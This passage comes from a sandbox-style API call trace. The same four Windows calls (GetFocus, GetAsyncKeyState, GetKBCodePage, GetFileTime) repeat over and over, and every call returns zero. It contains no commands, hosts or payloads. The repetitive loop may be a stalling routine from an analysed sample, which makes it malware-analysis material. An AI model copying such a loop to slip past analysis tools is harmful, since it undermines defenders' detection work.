dwHighDateTime=0x0)) returned 0 [0248.032] GetFocus () returned 0x0 [0248.032] GetAsyncKeyState (vKey=58) returned 0 [0248.032] GetKBCodePage () returned 0x1b5 [0248.032] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.032] GetFocus () returned 0x0 [0248.032] GetAsyncKeyState (vKey=58) returned 0 [0248.032] GetKBCodePage () returned 0x1b5 [0248.032] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.032] GetFocus () returned 0x0 [0248.032] GetAsyncKeyState (vKey=58) returned 0 [0248.032] GetKBCodePage () returned 0x1b5 [0248.032] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.032] GetFocus () returned 0x0 [0248.032] GetAsyncKeyState (vKey=58) returned 0 [0248.032] GetKBCodePage () returned 0x1b5 [0248.032] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.032] GetFocus () returned 0x0 [0248.032] GetAsyncKeyState (vKey=58) returned 0 [0248.032] GetKBCodePage () returned 0x1b5 [0248.032] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.032] GetFocus () returned 0x0 [0248.032] GetAsyncKeyState (vKey=58) returned 0 [0248.032] GetKBCodePage () returned 0x1b5 [0248.032] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.032] GetFocus () returned 0x0 [0248.032] GetAsyncKeyState (vKey=58) returned 0 [0248.033] GetKBCodePage () returned 0x1b5 [0248.033] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.033] GetFocus () returned 0x0 [0248.033] GetAsyncKeyState (vKey=58) returned 0 [0248.033] GetKBCodePage () returned 0x1b5 [0248.033] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.033] GetFocus () returned 0x0 [0248.033] GetAsyncKeyState (vKey=58) returned 0 [0248.033] GetKBCodePage () returned 0x1b5 [0248.033] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.033] GetFocus () returned 0x0 [0248.033] GetAsyncKeyState (vKey=58) returned 0 [0248.033] GetKBCodePage () returned 0x1b5 [0248.033] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.033] GetFocus () returned 0x0 [0248.033] GetAsyncKeyState (vKey=58) returned 0 [0248.033] GetKBCodePage () returned 0x1b5 [0248.033] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.033] GetFocus () returned 0x0 [0248.033] GetAsyncKeyState (vKey=58) returned 0 [0248.033] GetKBCodePage () returned 0x1b5 [0248.033] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.033] GetFocus () returned 0x0 [0248.033] GetAsyncKeyState (vKey=58) returned 0 [0248.033] GetKBCodePage () returned 0x1b5 [0248.033] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.033] GetFocus () returned 0x0 [0248.033] GetAsyncKeyState (vKey=58) returned 0 [0248.033] GetKBCodePage () returned 0x1b5 [0248.033] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.033] GetFocus () returned 0x0 [0248.033] GetAsyncKeyState (vKey=58) returned 0 [0248.033] GetKBCodePage () returned 0x1b5 [0248.033] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.033] GetFocus () returned 0x0 [0248.034] GetAsyncKeyState (vKey=58) returned 0 [0248.034] GetKBCodePage () returned 0x1b5 [0248.034] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.034] GetFocus () returned 0x0 [0248.034] GetAsyncKeyState (vKey=58) returned 0 [0248.034] GetKBCodePage () returned 0x1b5 [0248.034] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.034] GetFocus () returned 0x0 [0248.034] GetAsyncKeyState (vKey=58) returned 0 [0248.034] GetKBCodePage () returned 0x1b5 [0248.034] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.034] GetFocus () returned 0x0 [0248.034] GetAsyncKeyState (vKey=58) returned 0 [0248.034] GetKBCodePage () returned 0x1b5 [0248.034] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.034] GetFocus () returned 0x0 [0248.034] GetAsyncKeyState (vKey=58) returned 0 [0248.034] GetKBCodePage () returned 0x1b5 [0248.034] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.034] GetFocus () returned 0x0 [0248.034] GetAsyncKeyState (vKey=58) returned 0 [0248.034] GetKBCodePage () returned 0x1b5 [0248.034] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.034] GetFocus () returned 0x0 [0248.034] GetAsyncKeyState (vKey=58) returned 0 [0248.034] GetKBCodePage () returned 0x1b5 [0248.034] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.034] GetFocus () returned 0x0 [0248.034] GetAsyncKeyState (vKey=58) returned 0 [0248.034] GetKBCodePage () returned 0x1b5 [0248.034] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.034] GetFocus () returned 0x0 [0248.034] GetAsyncKeyState (vKey=58) returned 0 [0248.034] GetKBCodePage () returned 0x1b5 [0248.034] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.035] GetFocus () returned 0x0 [0248.035] GetAsyncKeyState (vKey=58) returned 0 [0248.035] GetKBCodePage () returned 0x1b5 [0248.035] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.035] GetFocus () returned 0x0 [0248.035] GetAsyncKeyState (vKey=58) returned 0 [0248.035] GetKBCodePage () returned 0x1b5 [0248.035] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.035] GetFocus () returned 0x0 [0248.035] GetAsyncKeyState (vKey=58) returned 0 [0248.035] GetKBCodePage () returned 0x1b5 [0248.035] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.035] GetFocus () returned 0x0 [0248.035] GetAsyncKeyState (vKey=58) returned 0 [0248.035] GetKBCodePage () returned 0x1b5 [0248.035] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.035] GetFocus () returned 0x0 [0248.035] GetAsyncKeyState (vKey=58) returned 0 [0248.035] GetKBCodePage () returned 0x1b5 [0248.035] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.035] GetFocus () returned 0x0 [0248.035] GetAsyncKeyState (vKey=58) returned 0 [0248.035] GetKBCodePage () returned 0x1b5 [0248.035] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.035] GetFocus () returned 0x0 [0248.035] GetAsyncKeyState (vKey=58) returned 0 [0248.035] GetKBCodePage () returned 0x1b5 [0248.035] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.035] GetFocus () returned 0x0 [0248.035] GetAsyncKeyState (vKey=58) returned 0 [0248.035] GetKBCodePage () returned 0x1b5 [0248.035] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.035] GetFocus () returned 0x0 [0248.035] GetAsyncKeyState (vKey=58) returned 0 [0248.035] GetKBCodePage () returned 0x1b5 [0248.035] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.036] GetFocus () returned 0x0 [0248.036] GetAsyncKeyState (vKey=58) returned 0 [0248.036] GetKBCodePage () returned 0x1b5 [0248.036] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.036] GetFocus () returned 0x0 [0248.036] GetAsyncKeyState (vKey=58) returned 0 [0248.036] GetKBCodePage () returned 0x1b5 [0248.036] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.036] GetFocus () returned 0x0 [0248.036] GetAsyncKeyState (vKey=58) returned 0 [0248.036] GetKBCodePage () returned 0x1b5 [0248.036] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.036] GetFocus () returned 0x0 [0248.036] GetAsyncKeyState (vKey=58) returned 0 [0248.036] GetKBCodePage () returned 0x1b5 [0248.036] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.036] GetFocus () returned 0x0 [0248.036] GetAsyncKeyState (vKey=58) returned 0 [0248.036] GetKBCodePage () returned 0x1b5 [0248.036] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.036] GetFocus () returned 0x0 [0248.036] GetAsyncKeyState (vKey=58) returned 0 [0248.036] GetKBCodePage () returned 0x1b5 [0248.036] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.036] GetFocus () returned 0x0 [0248.036] GetAsyncKeyState (vKey=58) returned 0 [0248.036] GetKBCodePage () returned 0x1b5 [0248.036] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.036] GetFocus () returned 0x0 [0248.036] GetAsyncKeyState (vKey=58) returned 0 [0248.036] GetKBCodePage () returned 0x1b5 [0248.036] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.036] GetFocus () returned 0x0 [0248.036] GetAsyncKeyState (vKey=58) returned 0 [0248.036] GetKBCodePage () returned 0x1b5 [0248.036] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.037] GetFocus () returned 0x0 [0248.037] GetAsyncKeyState (vKey=58) returned 0 [0248.037] GetKBCodePage () returned 0x1b5 [0248.037] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.037] GetFocus () returned 0x0 [0248.037] GetAsyncKeyState (vKey=58) returned 0 [0248.037] GetKBCodePage () returned 0x1b5 [0248.037] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.037] GetFocus () returned 0x0 [0248.037] GetAsyncKeyState (vKey=58) returned 0 [0248.037] GetKBCodePage () returned 0x1b5 [0248.037] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.037] GetFocus () returned 0x0 [0248.037] GetAsyncKeyState (vKey=58) returned 0 [0248.037] GetKBCodePage () returned 0x1b5 [0248.037] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.037] GetFocus () returned 0x0 [0248.037] GetAsyncKeyState (vKey=58) returned 0 [0248.037] GetKBCodePage () returned 0x1b5 [0248.037] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.037] GetFocus () returned 0x0 [0248.037] GetAsyncKeyState (vKey=58) returned 0 [0248.037] GetKBCodePage () returned 0x1b5 [0248.037] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.037] GetFocus () returned 0x0 [0248.037] GetAsyncKeyState (vKey=58) returned 0 [0248.037] GetKBCodePage () returned 0x1b5 [0248.038] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.038] GetFocus () returned 0x0 [0248.038] GetAsyncKeyState (vKey=58) returned 0 [0248.038] GetKBCodePage () returned 0x1b5 [0248.038] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.038] GetFocus () returned 0x0 [0248.038] GetAsyncKeyState (vKey=58) returned 0 [0248.038] GetKBCodePage () returned 0x1b5 [0248.038] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.038] GetFocus () returned 0x0 [0248.038] GetAsyncKeyState (vKey=58) returned 0 [0248.038] GetKBCodePage () returned 0x1b5 [0248.038] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.038] GetFocus () returned 0x0 [0248.038] GetAsyncKeyState (vKey=58) returned 0 [0248.038] GetKBCodePage () returned 0x1b5 [0248.038] GetFileTime (in: hFile=0x60cf7a, 